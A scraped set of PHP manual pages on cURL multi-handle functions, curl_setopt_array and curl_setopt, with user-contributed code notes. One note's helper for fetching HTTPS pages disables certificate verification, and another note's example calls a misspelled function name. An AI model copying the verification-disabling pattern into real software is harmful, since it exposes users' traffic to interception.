http://www.rustyrazorblade.com/2008/02/20/curl_multi_exec/
curl_multi_exec
curl_multi_info_read
cURL Functions


Get information about the current transfers

curl_multi_getcontent
curl_multi_init
cURL Functions
PHP Manual

curl_multi_info_read

(PHP 5)

curl_multi_info_read — Get information about the current transfers

Description

array curl_multi_info_read ( resource $mh [, int &$msgs_in_queue = NULL ] )

Ask the multi handle if there are any messages or information from the individual transfers. Messages may include information such as an error code from the transfer or just the fact that a transfer is completed.

Repeated calls to this function will return a new result each time, until a FALSE is returned as a signal that there is no more to get at this point. The integer pointed to with msgs_in_queue will contain the number of remaining messages after this function was called.

Warning

The data the returned resource points to will not survive calling curl_multi_remove_handle().

Parameters

mh

A cURL multi handle returned by curl_multi_init().

msgs_in_queue

Number of messages that are still in the queue

Return Values

On success, returns an associative array for the message, FALSE on failure.

Contents of the returned array
Key: | Value:
msg | The CURLMSG_DONE constant. Other return values are currently not available.
result | One of the CURLE_* constants. If everything is OK, the CURLE_OK will be the result.
handle | Resource of type curl indicates the handle which it concerns.

Examples

Example #1 A curl_multi_info_read() example

<?php

$urls = array(
   "http://www.cnn.com/",
   "http://www.bbc.co.uk/",
   "http://www.yahoo.com/"
);

$mh = curl_multi_init();

foreach ($urls as $i => $url) {
    $conn[$i] = curl_init($url);
    curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);
    curl_multi_add_handle($mh, $conn[$i]);
}

do {
    $status = curl_multi_exec($mh, $active);
    $info = curl_multi_info_read($mh);
    if (false !== $info) {
        var_dump($info);
    }
} while ($status === CURLM_CALL_MULTI_PERFORM || $active);

foreach ($urls as $i => $url) {
    $res[$i] = curl_multi_getcontent($conn[$i]);
    curl_close($conn[$i]);
}

var_dump(curl_multi_info_read($mh));

?>

The above example will output something similar to:

array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(5) of type (curl)
}
array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(7) of type (curl)
}
array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(6) of type (curl)
}
bool(false)

Changelog

Version | Description
5.2.0 | msgs_in_queue was added.

See Also

  • curl_multi_init() - Returns a new cURL multi handle

User Contributed Notes

Nick Smith 28-May-2010 01:41
Just to let others who might be struggling to get it to work, curl_multi_info_read() doesn't work in PHP versions before 5.2.0, and instead returns NULL immediately.
curl_multi_getcontent
curl_multi_init
cURL Functions


Returns a new cURL multi handle

curl_multi_info_read
curl_multi_remove_handle
cURL Functions
PHP Manual

curl_multi_init

(PHP 5)

curl_multi_init — Returns a new cURL multi handle

Description

resource curl_multi_init ( void )

Allows the processing of multiple cURL handles in parallel.

Parameters

This function has no parameters.

Return Values

Returns a cURL multi handle resource on success, FALSE on failure.

Examples

Example #1 curl_multi_init() example

This example will create two cURL handles, add them to a multi handle, and then run them in parallel.

<?php
// create both cURL resources
$ch1 = curl_init();
$ch2 = curl_init();

// set URL and other appropriate options
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

//create the multiple cURL handle
$mh = curl_multi_init();

//add the two handles
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$active = null;
//execute the handles
do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK) {
    if (curl_multi_select($mh) != -1) {
        do {
            $mrc = curl_multi_exec($mh, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);
    }
}

//close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>

See Also

  • curl_init() - Initialize a cURL session
  • curl_multi_close() - Close a set of cURL handles

User Contributed Notes

hushuilong at gmail dot com 05-Aug-2011 12:21
Simulate multiple threads request:
<?php
function multiple_threads_request($nodes){
        $mh = curl_multi_init();
        $curl_array = array();
        foreach($nodes as $i => $url)
        {
            $curl_array[$i] = curl_init($url);
            curl_setopt($curl_array[$i], CURLOPT_RETURNTRANSFER, true);
            curl_multi_add_handle($mh, $curl_array[$i]);
        }
        $running = NULL;
        do {
            usleep(10000);
            curl_multi_exec($mh,$running);
        } while($running > 0);

        $res = array();
        foreach($nodes as $i => $url)
        {
            $res[$url] = curl_multi_getcontent($curl_array[$i]);
        }

        foreach($nodes as $i => $url){
            curl_multi_remove_handle($mh, $curl_array[$i]);
        }
        curl_multi_close($mh);
        return $res;
}
print_r(muti_thread_request(array(
    'http://www.example.com',
    'http://www.example.net',
)));
?>
jaisen at jmathai dot com 30-May-2008 12:09
http://github.com/jmathai/epicode/tree/master/php/EpiCurl.php

If you fire off 10 curl requests in parallel you don't have to wait for all of them to be finished before accessing one which is already finished.
curl_multi_info_read
curl_multi_remove_handle
cURL Functions


Remove a multi handle from a set of cURL handles

curl_multi_init
curl_multi_select
cURL Functions
PHP Manual

curl_multi_remove_handle

(PHP 5)

curl_multi_remove_handle — Remove a multi handle from a set of cURL handles

Description

int curl_multi_remove_handle ( resource $mh , resource $ch )

Removes a given ch handle from the given mh handle. When the ch handle has been removed, it is again perfectly legal to run curl_exec() on this handle. Removing the ch handle while being used, will effectively halt the transfer in progress involving that handle.

Parameters

mh

A cURL multi handle returned by curl_multi_init().

ch

A cURL handle returned by curl_init().

Return Values

Returns 0 on success, or one of the CURLM_XXX error codes.

See Also

  • curl_init() - Initialize a cURL session
  • curl_multi_init() - Returns a new cURL multi handle
  • curl_multi_add_handle() - Add a normal cURL handle to a cURL multi handle

User Contributed Notes

mercury at caucasus dot net 23-Jun-2010 02:00
It is always a good idea to use curl_close() on all individual curl handles after executing curl_multi_remove_handle(). This will free up additional memory resources. So, a typical code would look like:

<?php
$ch1 = curl_init();
curl_setopt($ch1, CURLOPT_URL, 'http://www.example.com/');
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, true);

$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, 'http://www.example.net/');
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);

$mh = curl_multi_init();

curl_multi_add_handle($mh, $ch1);
curl_multi_add_handle($mh, $ch2);

$active = null;

do {
curl_multi_exec($mh, $active);
}
while($active);

$res1 = curl_multi_getcontent($ch1);
$res2 = curl_multi_getcontent($ch2);

curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);

curl_multi_close($mh);

curl_close($ch1);
curl_close($ch2);
?>
curl_multi_init
curl_multi_select
cURL Functions


Wait for activity on any curl_multi connection

curl_multi_remove_handle
curl_setopt_array
cURL Functions
PHP Manual

curl_multi_select

(PHP 5)

curl_multi_select — Wait for activity on any curl_multi connection

Description

int curl_multi_select ( resource $mh [, float $timeout = 1.0 ] )

Blocks until there is activity on any of the curl_multi connections.

Parameters

mh

A cURL multi handle returned by curl_multi_init().

timeout

Time, in seconds, to wait for a response.

Return Values

On success, returns the number of descriptors contained in the descriptor sets. On failure, this function will return -1 on a select failure or timeout (from the underlying select system call).

See Also

  • curl_multi_init() - Returns a new cURL multi handle

User Contributed Notes

Anonymous 27-Aug-2011 05:52
if you are using a non zts php build, expect it to block on connect() calls when using curl multi, if you plan to use curl multi to realtime fetch multiple pages for a user, have a localhost squid setup to funnel them through so as connect() only blocks for a ms or 2
Anonymous 24-Jul-2010 08:33
Since the docs are still lacking, here's an example of how to use the function. The following code will keep checking all active threads until one of them returns the HTTP 200 Ok status code, or simply end. On success, it will return the URL that worked.

<?php
$running=null;
do {
    curl_multi_exec($mh,$running);
    $ready=curl_multi_select($mh); // this will pause the loop
    if($ready>0){
        while($info=curl_multi_info_read($mh)){
            $status=curl_getinfo($info['handle'],CURLINFO_HTTP_CODE);
            if($status==200){
                $successUrl=curl_getinfo($info['handle'],CURLINFO_EFFECTIVE_URL);
                break 2;
            }
        }
    }
} while ($running>0 && $ready!=-1);
?>

The question for the $ready variable is, if it will return the value before or after the timeout has occurred. From my tests it appears that it will return the value immediately, and only then pause the execution. That's because it's always zero the first time through the loop, even if the time limit is as high as 10sec. I've expected it to wait and only then return the value so that came unexpected to me.

As stated by someone else, it also doesn't seem to return the overall count of threads in the handle, but only that of the currently active ones.
public at grik dot net 10-Aug-2008 06:38
This function blocks the calling process until there is activity on any of the connections opened by the curl_multi interface, or until the timeout period has expired.
In other words, it waits for data to be received in the opened connections.

Internally it fetches socket pointers with "curl_multi_fdset()" and runs the "select()" C function.
It returns in 3 cases:
1. Activity is detected on any socket;
2. Timeout has ended (second parameter);
3. Process received any signal (#man kill).

The function returns an integer:
* In case of activity it returns a number, usually 1.
I suppose, it returns the number of connections with activity detected.
* If timeout expires it returns 0
* In case of error it returns -1

Thanks for attention, hope this helps.
curl_multi_remove_handle
curl_setopt_array
cURL Functions


Set multiple options for a cURL transfer

curl_multi_select
curl_setopt
cURL Functions
PHP Manual

curl_setopt_array

(PHP 5 >= 5.1.3)

curl_setopt_array — Set multiple options for a cURL transfer

Description

bool curl_setopt_array ( resource $ch , array $options )

Sets multiple options for a cURL session. This function is useful for setting a large amount of cURL options without repetitively calling curl_setopt().

Parameters

ch

A cURL handle returned by curl_init().

options

An array specifying which options to set and their values. The keys should be valid curl_setopt() constants or their integer equivalents.

Return Values

Returns TRUE if all options were successfully set. If an option could not be successfully set, FALSE is immediately returned, ignoring any future options in the options array.

Examples

Example #1 Initializing a new cURL session and fetching a web page

<?php
// create a new cURL resource
$ch = curl_init();

// set URL and other appropriate options
$options = array(CURLOPT_URL => 'http://www.example.com/',
                 CURLOPT_HEADER => false
                );

curl_setopt_array($ch, $options);

// grab URL and pass it to the browser
curl_exec($ch);

// close cURL resource, and free up system resources
curl_close($ch);
?>

Prior to PHP 5.1.3 this function can be simulated with:

Example #2 Our own implementation of curl_setopt_array()

<?php
if (!function_exists('curl_setopt_array')) {
   function curl_setopt_array(&$ch, $curl_options)
   {
       foreach ($curl_options as $option => $value) {
           if (!curl_setopt($ch, $option, $value)) {
               return false;
           }
       }
       return true;
   }
}
?>

Notes

Note:

As with curl_setopt(), passing an array to CURLOPT_POST will encode the data as multipart/form-data, while passing a URL-encoded string will encode the data as application/x-www-form-urlencoded.

See Also

  • curl_setopt() - Set an option for a cURL transfer

User Contributed Notes

loop4u at gmail dot com 11-Jun-2011 07:59
it should be noted that when using CURLOPT_POSTFIELDS in a loop, CURLOPT_POSTFIELDS appends to the sting. You can use unset() if you don't want this sort of behavior.

<?php
//this will append postfields

while(true) {
    $options = array(CURLOPT_POSTFIELDS => 'foo=bar&foo2=bar');
    $ch = curl_init("http://www.example.com");
    curl_setopt_array($ch, $options);
    curl_exec($ch);
    curl_close($ch);
}

//this will NOT append postfields
while(true) {
    $options = array(CURLOPT_POSTFIELDS => 'foo=bar&foo2=bar');
    $ch = curl_init("http://www.example.com");
    curl_setopt_array($ch, $options);
    curl_exec($ch);
    curl_close($ch);
    unset($options[CURLOPT_POSTFIELDS]);
}
?>
anthon at piwik dot org 01-Jun-2010 06:52
Starting in PHP 5.2.0, CURLOPT_FOLLOWLOCATION can't be set via curl_setopt_array() (or curl_setopt()) when either safe_mode is enabled or open_basedir is set.  In these cases, the order of CURLOPT_* settings in the array can be important.
maran dot emil at gmail dot com 25-Mar-2009 11:54
In case that you need to read SSL page content from https with curl, this function can help you:

<?php

function get_web_page( $url,$curl_data )
{
    $options = array(
        CURLOPT_RETURNTRANSFER => true,         // return web page
        CURLOPT_HEADER         => false,        // don't return headers
        CURLOPT_FOLLOWLOCATION => true,         // follow redirects
        CURLOPT_ENCODING       => "",           // handle all encodings
        CURLOPT_USERAGENT      => "spider",     // who am i
        CURLOPT_AUTOREFERER    => true,         // set referer on redirect
        CURLOPT_CONNECTTIMEOUT => 120,          // timeout on connect
        CURLOPT_TIMEOUT        => 120,          // timeout on response
        CURLOPT_MAXREDIRS      => 10,           // stop after 10 redirects
        CURLOPT_POST            => 1,            // i am sending post data
           CURLOPT_POSTFIELDS     => $curl_data,    // this are my post vars
        CURLOPT_SSL_VERIFYHOST => 0,            // don't verify ssl
        CURLOPT_SSL_VERIFYPEER => false,        //
        CURLOPT_VERBOSE        => 1                //
    );

    $ch      = curl_init($url);
    curl_setopt_array($ch,$options);
    $content = curl_exec($ch);
    $err     = curl_errno($ch);
    $errmsg  = curl_error($ch) ;
    $header  = curl_getinfo($ch);
    curl_close($ch);

  //  $header['errno']   = $err;
  //  $header['errmsg']  = $errmsg;
  //  $header['content'] = $content;
    return $header;
}

$curl_data = "var1=60&var2=test";
$url = "https://www.example.com";
$response = get_web_page($url,$curl_data);

print '<pre>';
print_r($response);

?>
fnjordy at gmail dot com 30-Nov-2008 11:48
There is no CURLOPT_MAXFILESIZE in the PHP module but it's function only works with Content-Length headers anyway.  There are two ways of checking download sizes, one is after the download is complete using filesize(), the other is as the download is running allowing you to terminate before wasting time and disk space.

<?php
$GLOBALS['file_size'] = 0;
$GLOBALS['max_file_size'] = 1024 * 1024;
function on_curl_header($ch, $header)
{
    $trimmed = rtrim($header);
    if (preg_match('/^Content-Length: (\d+)$/', $trimmed, $matches))
    {
        $file_size = $matches[1];
        if ($file_size > $GLOBALS['max_file_size']) {
            // handle error here.
        }
    }
    return strlen($header);
}

function on_curl_write($ch, $data)
{
    $bytes = strlen($data);
    $GLOBALS['file_size'] += $bytes;
    if ($GLOBALS['file_size'] > $GLOBALS['max_file_size']) {
        // handle error here.
    }
    return $bytes;
}

$ch = curl_init();
$options = array(CURLOPT_URL        => 'http://www.php.net/',
         CURLOPT_HEADER        => false,
         CURLOPT_HEADERFUNCTION    => 'on_curl_header',
         CURLOPT_WRITEFUNCTION    => 'on_curl_write');
curl_setopt_array($ch, $options);
curl_exec($ch);
// ...
?>
bendavis78 at gmail dot com 13-Jul-2006 03:58
You can use CURLOPT_HEADERFUNCTION  with a callback inside an object.  This makes is it easy to capture the headers for later use.  For example:

<?php
class Test
{
    public $headers;

    //...

    public function exec($opts)
    {
        $this->headers = array();
        $opts[CURLOPT_HEADERFUNCTION] = array($this, '_setHeader');
        $ch = curl_init();
        curl_setopt_array($ch, $opts);
        return curl_exec($ch);
    }

    private function _setHeader($ch, $header)
    {
        $this->headers[] = $header;
        return strlen($header);
    }

}

$test = new Test();
$opts = array(
   //... your curl opts here
);
$data = $test->exec($opts);
print_r($test->headers);
?>

...something like that

(This works in php v. 5.1.4)
curl_multi_select
curl_setopt
cURL Functions


Set an option for a cURL transfer

curl_setopt_array
curl_version
cURL Functions
PHP Manual

curl_setopt

(PHP 4 >= 4.0.2, PHP 5)

curl_setopt — Set an option for a cURL transfer

Description

bool curl_setopt ( resource $ch , int $option , mixed $value )

Sets an option on the given cURL session handle.

Parameters

ch

A cURL handle returned by curl_init().

option

The CURLOPT_XXX option to set.

value

The value to be set on option.

value should be a bool for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_AUTOREFERER | TRUE to automatically set the Referer: field in requests where it follows a Location: redirect.
CURLOPT_BINARYTRANSFER | TRUE to return the raw output when CURLOPT_RETURNTRANSFER is used.
CURLOPT_COOKIESESSION | TRUE to mark this as a new cookie "session". It will force libcurl to ignore all cookies it is about to load that are "session cookies" from the previous session. By default, libcurl always stores and loads all cookies, independent if they are session cookies or not. Session cookies are cookies without expiry date and they are meant to be alive and existing for this "session" only.
CURLOPT_CERTINFO | TRUE to output SSL certification information to STDERR on secure transfers. | Available since PHP 5.3.2. Requires CURLOPT_VERBOSE to be on to have an effect.
CURLOPT_CRLF | TRUE to convert Unix newlines to CRLF newlines on transfers.
CURLOPT_DNS_USE_GLOBAL_CACHE | TRUE to use a global DNS cache. This option is not thread-safe and is enabled by default.
CURLOPT_FAILONERROR | TRUE to fail silently if the HTTP code returned is greater than or equal to 400. The default behavior is to return the page normally, ignoring the code.
CURLOPT_FILETIME | TRUE to attempt to retrieve the modification date of the remote document. This value can be retrieved using the CURLINFO_FILETIME option with curl_getinfo().
CURLOPT_FOLLOWLOCATION | TRUE to follow any "Location: " header that the server sends as part of the HTTP header (note this is recursive, PHP will follow as many "Location: " headers that it is sent, unless CURLOPT_MAXREDIRS is set).
CURLOPT_FORBID_REUSE | TRUE to force the connection to explicitly close when it has finished processing, and not be pooled for reuse.
CURLOPT_FRESH_CONNECT | TRUE to force the use of a new connection instead of a cached one.
CURLOPT_FTP_USE_EPRT | TRUE to use EPRT (and LPRT) when doing active FTP downloads. Use FALSE to disable EPRT and LPRT and use PORT only.
CURLOPT_FTP_USE_EPSV | TRUE to first try an EPSV command for FTP transfers before reverting back to PASV. Set to FALSE to disable EPSV.
CURLOPT_FTP_CREATE_MISSING_DIRS | TRUE to create missing directories when an FTP operation encounters a path that currently doesn't exist.
CURLOPT_FTPAPPEND | TRUE to append to the remote file instead of overwriting it.
CURLOPT_FTPASCII | An alias of CURLOPT_TRANSFERTEXT. Use that instead.
CURLOPT_FTPLISTONLY | TRUE to only list the names of an FTP directory.
CURLOPT_HEADER | TRUE to include the header in the output.
CURLINFO_HEADER_OUT | TRUE to track the handle's request string. | Available since PHP 5.1.3. The CURLINFO_ prefix is intentional.
CURLOPT_HTTPGET | TRUE to reset the HTTP request method to GET. Since GET is the default, this is only necessary if the request method has been changed.
CURLOPT_HTTPPROXYTUNNEL | TRUE to tunnel through a given HTTP proxy.
CURLOPT_MUTE | TRUE to be completely silent with regards to the cURL functions.
CURLOPT_NETRC | TRUE to scan the ~/.netrc file to find a username and password for the remote site that a connection is being established with.
CURLOPT_NOBODY | TRUE to exclude the body from the output. Request method is then set to HEAD. Changing this to FALSE does not change it to GET.
CURLOPT_NOPROGRESS

TRUE to disable the progress meter for cURL transfers.

Note:

PHP automatically sets this option to TRUE, this should only be changed for debugging purposes.

CURLOPT_NOSIGNAL | TRUE to ignore any cURL function that causes a signal to be sent to the PHP process. This is turned on by default in multi-threaded SAPIs so timeout options can still be used. | Added in cURL 7.10.
CURLOPT_POST | TRUE to do a regular HTTP POST. This POST is the normal application/x-www-form-urlencoded kind, most commonly used by HTML forms.
CURLOPT_PUT | TRUE to HTTP PUT a file. The file to PUT must be set with CURLOPT_INFILE and CURLOPT_INFILESIZE.
CURLOPT_RETURNTRANSFER | TRUE to return the transfer as a string of the return value of curl_exec() instead of outputting it out directly.
CURLOPT_SSL_VERIFYPEER | FALSE to stop cURL from verifying the peer's certificate. Alternate certificates to verify against can be specified with the CURLOPT_CAINFO option or a certificate directory can be specified with the CURLOPT_CAPATH option. | TRUE by default as of cURL 7.10. Default bundle installed as of cURL 7.10.
CURLOPT_TRANSFERTEXT | TRUE to use ASCII mode for FTP transfers. For LDAP, it retrieves data in plain text instead of HTML. On Windows systems, it will not set STDOUT to binary mode.
CURLOPT_UNRESTRICTED_AUTH | TRUE to keep sending the username and password when following locations (using CURLOPT_FOLLOWLOCATION), even when the hostname has changed.
CURLOPT_UPLOAD | TRUE to prepare for an upload.
CURLOPT_VERBOSE | TRUE to output verbose information. Writes output to STDERR, or the file specified using CURLOPT_STDERR.

value should be an integer for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_BUFFERSIZE | The size of the buffer to use for each read. There is no guarantee this request will be fulfilled, however. | Added in cURL 7.10.
CURLOPT_CLOSEPOLICY | Either CURLCLOSEPOLICY_LEAST_RECENTLY_USED or CURLCLOSEPOLICY_OLDEST. There are three other CURLCLOSEPOLICY_ constants, but cURL does not support them yet.
CURLOPT_CONNECTTIMEOUT | The number of seconds to wait while trying to connect. Use 0 to wait indefinitely.
CURLOPT_CONNECTTIMEOUT_MS | The number of milliseconds to wait while trying to connect. Use 0 to wait indefinitely. If libcurl is built to use the standard system name resolver, that portion of the connect will still use full-second resolution for timeouts with a minimum timeout allowed of one second. | Added in cURL 7.16.2. Available since PHP 5.2.3.
CURLOPT_DNS_CACHE_TIMEOUT | The number of seconds to keep DNS entries in memory. This option is set to 120 (2 minutes) by default.
CURLOPT_FTPSSLAUTH | The FTP authentication method (when is activated): CURLFTPAUTH_SSL (try SSL first), CURLFTPAUTH_TLS (try TLS first), or CURLFTPAUTH_DEFAULT (let cURL decide). | Added in cURL 7.12.2.
CURLOPT_HTTP_VERSION | CURL_HTTP_VERSION_NONE (default, lets CURL decide which version to use), CURL_HTTP_VERSION_1_0 (forces HTTP/1.0), or CURL_HTTP_VERSION_1_1 (forces HTTP/1.1).
CURLOPT_HTTPAUTH

The HTTP authentication method(s) to use. The options are: CURLAUTH_BASIC, CURLAUTH_DIGEST, CURLAUTH_GSSNEGOTIATE, CURLAUTH_NTLM, CURLAUTH_ANY, and CURLAUTH_ANYSAFE.

The bitwise | (or) operator can be used to combine more than one method. If this is done, cURL will poll the server to see what methods it supports and pick the best one.

CURLAUTH_ANY is an alias for CURLAUTH_BASIC | CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM.

CURLAUTH_ANYSAFE is an alias for CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM.

CURLOPT_INFILESIZE | The expected size, in bytes, of the file when uploading a file to a remote site. Note that using this option will not stop libcurl from sending more data, as exactly what is sent depends on CURLOPT_READFUNCTION.
CURLOPT_LOW_SPEED_LIMIT | The transfer speed, in bytes per second, that the transfer should be below during the count of CURLOPT_LOW_SPEED_TIME seconds before PHP considers the transfer too slow and aborts.
CURLOPT_LOW_SPEED_TIME | The number of seconds the transfer speed should be below CURLOPT_LOW_SPEED_LIMIT before PHP considers the transfer too slow and aborts.
CURLOPT_MAXCONNECTS | The maximum amount of persistent connections that are allowed. When the limit is reached, CURLOPT_CLOSEPOLICY is used to determine which connection to close.
CURLOPT_MAXREDIRS | The maximum amount of HTTP redirections to follow. Use this option alongside CURLOPT_FOLLOWLOCATION.
CURLOPT_PORT | An alternative port number to connect to.
CURLOPT_PROTOCOLS

Bitmask of CURLPROTO_* values. If used, this bitmask limits what protocols libcurl may use in the transfer. This allows you to have a libcurl built to support a wide range of protocols but still limit specific transfers to only be allowed to use a subset of them. By default libcurl will accept all protocols it supports. See also CURLOPT_REDIR_PROTOCOLS.

Valid protocol options are: CURLPROTO_HTTP, CURLPROTO_HTTPS, CURLPROTO_FTP, CURLPROTO_FTPS, CURLPROTO_SCP, CURLPROTO_SFTP, CURLPROTO_TELNET, CURLPROTO_LDAP, CURLPROTO_LDAPS, CURLPROTO_DICT, CURLPROTO_FILE, CURLPROTO_TFTP, CURLPROTO_ALL

Added in cURL 7.19.4.
CURLOPT_PROXYAUTH | The HTTP authentication method(s) to use for the proxy connection. Use the same bitmasks as described in CURLOPT_HTTPAUTH. For proxy authentication, only CURLAUTH_BASIC and CURLAUTH_NTLM are currently supported. | Added in cURL 7.10.7.
CURLOPT_PROXYPORT | The port number of the proxy to connect to. This port number can also be set in CURLOPT_PROXY.
CURLOPT_PROXYTYPE | Either CURLPROXY_HTTP (default) or CURLPROXY_SOCKS5. | Added in cURL 7.10.
CURLOPT_REDIR_PROTOCOLS | Bitmask of CURLPROTO_* values. If used, this bitmask limits what protocols libcurl may use in a transfer that it follows to in a redirect when CURLOPT_FOLLOWLOCATION is enabled. This allows you to limit specific transfers to only be allowed to use a subset of protocols in redirections. By default libcurl will allow all protocols except for FILE and SCP. This is a difference compared to pre-7.19.4 versions which unconditionally would follow to all protocols supported. See also CURLOPT_PROTOCOLS for protocol constant values. | Added in cURL 7.19.4.
CURLOPT_RESUME_FROM | The offset, in bytes, to resume a transfer from.
CURLOPT_SSL_VERIFYHOST | 1 to check the existence of a common name in the SSL peer certificate. 2 to check the existence of a common name and also verify that it matches the hostname provided. In production environments the value of this option should be kept at 2 (default value).
CURLOPT_SSLVERSION | The SSL version (2 or 3) to use. By default PHP will try to determine this itself, although in some cases this must be set manually.
CURLOPT_TIMECONDITION | How CURLOPT_TIMEVALUE is treated. Use CURL_TIMECOND_IFMODSINCE to return the page only if it has been modified since the time specified in CURLOPT_TIMEVALUE. If it hasn't been modified, a "304 Not Modified" header will be returned assuming CURLOPT_HEADER is TRUE. Use CURL_TIMECOND_IFUNMODSINCE for the reverse effect. CURL_TIMECOND_IFMODSINCE is the default.
CURLOPT_TIMEOUT | The maximum number of seconds to allow cURL functions to execute.
CURLOPT_TIMEOUT_MS | The maximum number of milliseconds to allow cURL functions to execute. If libcurl is built to use the standard system name resolver, that portion of the connect will still use full-second resolution for timeouts with a minimum timeout allowed of one second. | Added in cURL 7.16.2. Available since PHP 5.2.3.
CURLOPT_TIMEVALUE | The time in seconds since January 1st, 1970. The time will be used by CURLOPT_TIMECONDITION. By default, CURL_TIMECOND_IFMODSINCE is used.
CURLOPT_MAX_RECV_SPEED_LARGE | If a download exceeds this speed (counted in bytes per second) on cumulative average during the transfer, the transfer will pause to keep the average rate less than or equal to the parameter value. Defaults to unlimited speed. | Added in cURL 7.15.5. Available since PHP 5.4.0.
CURLOPT_MAX_SEND_SPEED_LARGE | If an upload exceeds this speed (counted in bytes per second) on cumulative average during the transfer, the transfer will pause to keep the average rate less than or equal to the parameter value. Defaults to unlimited speed. | Added in cURL 7.15.5. Available since PHP 5.4.0.

value should be a string for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_CAINFO | The name of a file holding one or more certificates to verify the peer with. This only makes sense when used in combination with CURLOPT_SSL_VERIFYPEER. | Requires absolute path.
CURLOPT_CAPATH | A directory that holds multiple CA certificates. Use this option alongside CURLOPT_SSL_VERIFYPEER.
CURLOPT_COOKIE | The contents of the "Cookie: " header to be used in the HTTP request. Note that multiple cookies are separated with a semicolon followed by a space (e.g., "fruit=apple; colour=red")
CURLOPT_COOKIEFILE | The name of the file containing the cookie data. The cookie file can be in Netscape format, or just plain HTTP-style headers dumped into a file. If the name is an empty string, no cookies are loaded, but cookie handling is still enabled.
CURLOPT_COOKIEJAR | The name of a file to save all internal cookies to when the handle is closed, e.g. after a call to curl_close.
CURLOPT_CUSTOMREQUEST

A custom request method to use instead of "GET" or "HEAD" when doing a HTTP request. This is useful for doing "DELETE" or other, more obscure HTTP requests. Valid values are things like "GET", "POST", "CONNECT" and so on; i.e. Do not enter a whole HTTP request line here. For instance, entering "GET /index.html HTTP/1.0\r\n\r\n" would be incorrect.

Note:

Don't do this without making sure the server supports the custom request method first.

CURLOPT_EGDSOCKET | Like CURLOPT_RANDOM_FILE, except a filename to an Entropy Gathering Daemon socket.
CURLOPT_ENCODING | The contents of the "Accept-Encoding: " header. This enables decoding of the response. Supported encodings are "identity", "deflate", and "gzip". If an empty string, "", is set, a header containing all supported encoding types is sent. | Added in cURL 7.10.
CURLOPT_FTPPORT | The value which will be used to get the IP address to use for the FTP "POST" instruction. The "POST" instruction tells the remote server to connect to our specified IP address. The string may be a plain IP address, a hostname, a network interface name (under Unix), or just a plain '-' to use the systems default IP address.
CURLOPT_INTERFACE | The name of the outgoing network interface to use. This can be an interface name, an IP address or a host name.
CURLOPT_KRB4LEVEL | The KRB4 (Kerberos 4) security level. Any of the following values (in order from least to most powerful) are valid: "clear", "safe", "confidential", "private".. If the string does not match one of these, "private" is used. Setting this option to NULL will disable KRB4 security. Currently KRB4 security only works with FTP transactions.
CURLOPT_POSTFIELDS | The full data to post in a HTTP "POST" operation. To post a file, prepend a filename with @ and use the full path. The filetype can be explicitly specified by following the filename with the type in the format ';type=mimetype'. This parameter can either be passed as a urlencoded string like 'para1=val1&para2=val2&...' or as an array with the field name as key and field data as value. If value is an array, the Content-Type header will be set to multipart/form-data. As of PHP 5.2.0, value must be an array if files are passed to this option with the @ prefix.
CURLOPT_PROXY | The HTTP proxy to tunnel requests through.
CURLOPT_PROXYUSERPWD | A username and password formatted as "[username]:[password]" to use for the connection to the proxy.
CURLOPT_RANDOM_FILE | A filename to be used to seed the random number generator for SSL.
CURLOPT_RANGE | Range(s) of data to retrieve in the format "X-Y" where X or Y are optional. HTTP transfers also support several intervals, separated with commas in the format "X-Y,N-M".
CURLOPT_REFERER | The contents of the "Referer: " header to be used in a HTTP request.
CURLOPT_SSL_CIPHER_LIST | A list of ciphers to use for SSL. For example, RC4-SHA and TLSv1 are valid cipher lists.
CURLOPT_SSLCERT | The name of a file containing a PEM formatted certificate.
CURLOPT_SSLCERTPASSWD | The password required to use the CURLOPT_SSLCERT certificate.
CURLOPT_SSLCERTTYPE | The format of the certificate. Supported formats are "PEM" (default), "DER", and "ENG". | Added in cURL 7.9.3.
CURLOPT_SSLENGINE | The identifier for the crypto engine of the private SSL key specified in CURLOPT_SSLKEY.
CURLOPT_SSLENGINE_DEFAULT | The identifier for the crypto engine used for asymmetric crypto operations.
CURLOPT_SSLKEY | The name of a file containing a private SSL key.
CURLOPT_SSLKEYPASSWD

The secret password needed to use the private SSL key specified in CURLOPT_SSLKEY.

Note:

Since this option contains a sensitive password, remember to keep the PHP script it is contained within safe.

CURLOPT_SSLKEYTYPE | The key type of the private SSL key specified in CURLOPT_SSLKEY. Supported key types are "PEM" (default), "DER", and "ENG".
CURLOPT_URL | The URL to fetch. This can also be set when initializing a session with curl_init().
CURLOPT_USERAGENT | The contents of the "User-Agent: " header to be used in a HTTP request.
CURLOPT_USERPWD | A username and password formatted as "[username]:[password]" to use for the connection.

value should be an array for the following values of the option parameter:

Option | Set value to | Notes
CURLOPT_HTTP200ALIASES | An array of HTTP 200 responses that will be treated as valid responses and not as errors. | Added in cURL 7.10.3.
CURLOPT_HTTPHEADER | An array of HTTP header fields to set, in the format array('Content-type: text/plain', 'Content-length: 100')
CURLOPT_POSTQUOTE | An array of FTP commands to execute on the server after the FTP request has been performed.
CURLOPT_QUOTE | An array of FTP commands to execute on the server prior to the FTP request.

value should be a stream resource (using fopen(), for example) for the following values of the option parameter:

Option | Set value to
